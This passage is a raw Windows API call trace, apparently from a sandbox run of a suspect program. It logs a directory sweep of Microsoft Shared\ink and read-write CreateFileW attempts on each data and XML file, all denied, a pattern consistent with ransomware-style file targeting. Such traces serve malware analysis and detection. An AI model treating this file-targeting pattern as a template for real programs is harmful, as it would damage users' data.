dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.762] GetLastError () returned 0x5 [0168.762] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe50f08dd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe539e167, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe539e167, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0168.762] FindClose (in: hFindFile=0x2f182c8 | out: hFindFile=0x2f182c8) returned 1 [0168.762] GetProcessHeap () returned 0x2ef0000 [0168.762] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f3e278 | out: hHeap=0x2ef0000) returned 1 [0168.763] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0168.763] GetProcessHeap () returned 0x2ef0000 [0168.763] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x82) returned 0x2f170e8 [0168.763] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\*.*", lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f182c8 [0168.763] GetProcessHeap () returned 0x2ef0000 [0168.763] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f170e8 | out: hHeap=0x2ef0000) returned 1 [0168.763] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0168.763] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8e3ba89, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe9004ae5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe9004ae5, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0168.763] GetProcessHeap () returned 0x2ef0000 [0168.763] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x284) returned 0x2f3e278 [0168.763] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.764] GetLastError () returned 0x5 [0168.764] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8e3ba89, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe9004ae5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe9004ae5, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0168.764] FindClose (in: hFindFile=0x2f182c8 | out: hFindFile=0x2f182c8) returned 1 [0168.764] GetProcessHeap () returned 0x2ef0000 [0168.764] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f3e278 | out: hHeap=0x2ef0000) returned 1 [0168.764] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ece8572, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x2ece8572, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x2ea60e45, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0xb620, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hwrcommonlm.dat", cAlternateFileName="")) returned 1 [0168.764] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.764] GetLastError () returned 0x5 [0168.764] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HWRCustomization", cAlternateFileName="HWRCUS~1")) returned 1 [0168.764] GetProcessHeap () returned 0x2ef0000 [0168.764] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x98) returned 0x2f170e8 [0168.764] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization\\*.*", lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f182c8 [0168.765] GetProcessHeap () returned 0x2ef0000 [0168.765] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f170e8 | out: hHeap=0x2ef0000) returned 1 [0168.765] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0168.765] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0168.765] FindClose (in: hFindFile=0x2f182c8 | out: hFindFile=0x2f182c8) returned 1 [0168.766] GetProcessHeap () returned 0x2ef0000 [0168.766] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x2ef0000) returned 1 [0168.766] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f7eaa54, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x2f7eaa54, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x2f301d57, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0xb6710, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hwrenalm.dat", cAlternateFileName="")) returned 1 [0168.766] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenalm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.766] GetLastError () returned 0x5 [0168.766] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33535c00, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x33535c00, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x332fa78d, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0xc7240, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hwrenclm.dat", cAlternateFileName="")) returned 1 [0168.766] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.767] GetLastError () returned 0x5 [0168.767] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32bd661d, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x32bd661d, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x32a7f9d8, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x10ca50, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hwrlatinlm.dat", cAlternateFileName="")) returned 1 [0168.767] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.767] GetLastError () returned 0x5 [0168.767] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d94dbb3, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3d94dbb3, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3c28ab1e, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x2e99a0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hwruklm.dat", cAlternateFileName="")) returned 1 [0168.767] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.767] GetLastError () returned 0x5 [0168.768] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3da5853e, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3da5853e, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3d7f6f6e, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x21ff00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hwruksh.dat", cAlternateFileName="")) returned 1 [0168.768] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.768] GetLastError () returned 0x5 [0168.768] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3db89026, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3db89026, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3d3cc942, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x30c330, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hwrusalm.dat", cAlternateFileName="")) returned 1 [0168.768] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.768] GetLastError () returned 0x5 [0168.768] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dbfb43d, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3dbfb43d, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3da7e69b, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x3ee0d0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hwrusash.dat", cAlternateFileName="")) returned 1 [0168.768] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.768] GetLastError () returned 0x5 [0168.768] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c4bfb78, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x4c4bfb78, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x298e8420, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x56400, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="InkDiv.dll", cAlternateFileName="")) returned 1 [0168.768] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c412911, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6c412911, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x29a8c2e0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x201800, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="InkObj.dll", cAlternateFileName="")) returned 1 [0168.768] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5eab8150, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5eab8150, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe4490e80, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x61000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="InkWatson.exe", cAlternateFileName="")) returned 1 [0168.768] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7700d105, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x7700d105, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe45c2150, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x5da00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="InputPersonalization.exe", cAlternateFileName="")) returned 1 [0168.768] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91865215, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x91865215, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa20, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ipscat.xml", cAlternateFileName="")) returned 1 [0168.768] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.769] GetLastError () returned 0x5 [0168.769] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27bfdab7, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27bfdab7, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x99e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ipschs.xml", cAlternateFileName="")) returned 1 [0168.773] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.773] GetLastError () returned 0x5 [0168.773] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c23c14, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c23c14, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ipscht.xml", cAlternateFileName="")) returned 1 [0168.773] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.774] GetLastError () returned 0x5 [0168.774] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c23c14, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c23c14, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9fc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ipscsy.xml", cAlternateFileName="")) returned 1 [0168.774] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.774] GetLastError () returned 0x5 [0168.774] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c49d71, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c49d71, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9d2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ipsdan.xml", cAlternateFileName="")) returned 1 [0168.774] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.774] GetLastError () returned 0x5 [0168.774] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c49d71, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c49d71, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa38, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ipsdeu.xml", cAlternateFileName="")) returned 1 [0168.774] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.775] GetLastError () returned 0x5 [0168.775] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c6fece, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c6fece, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa12, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ipsen.xml", cAlternateFileName="")) returned 1 [0168.775] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.775] GetLastError () returned 0x5 [0168.775] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27cbc188, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27cbc188, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbd0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ipsesp.xml", cAlternateFileName="")) returned 1 [0168.775] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.776] GetLastError () returned 0x5 [0168.776] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58cd8515, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x58cd8515, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x5ca35e50, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="IPSEventLogMsg.dll", cAlternateFileName="")) returned 1 [0168.776] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c9602b, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c9602b, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa62, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ipsfin.xml", cAlternateFileName="")) returned 1 [0168.776] CreateFileW (lpFileName="C:\\Program Files\\Common 